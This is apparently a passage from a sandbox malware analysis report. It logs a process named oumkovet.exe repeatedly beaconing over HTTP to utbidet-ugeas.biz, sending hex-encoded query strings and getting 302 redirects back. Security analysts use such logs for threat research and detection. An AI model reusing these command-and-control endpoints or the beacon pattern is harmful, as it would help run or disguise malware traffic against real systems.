Sep 8, 2024 08:40:21.412045956 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49764	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:21.423115015 CEST	201	OUT	GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:21.911427021 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49766	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:22.086174011 CEST	169	OUT	GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:22.573337078 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:22 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49767	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:22.582726002 CEST	201	OUT	GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:23.064413071 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:23 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49769	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:23.542769909 CEST	169	OUT	GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:24.026845932 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:23 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49770	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:24.033364058 CEST	201	OUT	GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:24.543942928 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:24 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49772	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:25.887674093 CEST	169	OUT	GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:26.376557112 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:26 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49773	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:26.468602896 CEST	201	OUT	GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:26.959501028 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:26 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49775	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:28.771162033 CEST	169	OUT	GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:30.097635984 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:40:30.098102093 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 8, 2024 08:40:30.098170042 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49776	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:30.108104944 CEST	201	OUT	GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:30.623303890 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:30 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49779	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:35.336638927 CEST	169	OUT	GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:35.827544928 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:35 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49780	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:35.838607073 CEST	201	OUT	GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:36.327089071 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:36 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49782	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:37.652144909 CEST	169	OUT	GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:38.125412941 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:38 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49783	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:38.137319088 CEST	201	OUT	GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:38.622320890 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:38 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49785	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:38.902201891 CEST	169	OUT	GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:39.376775980 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:39 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 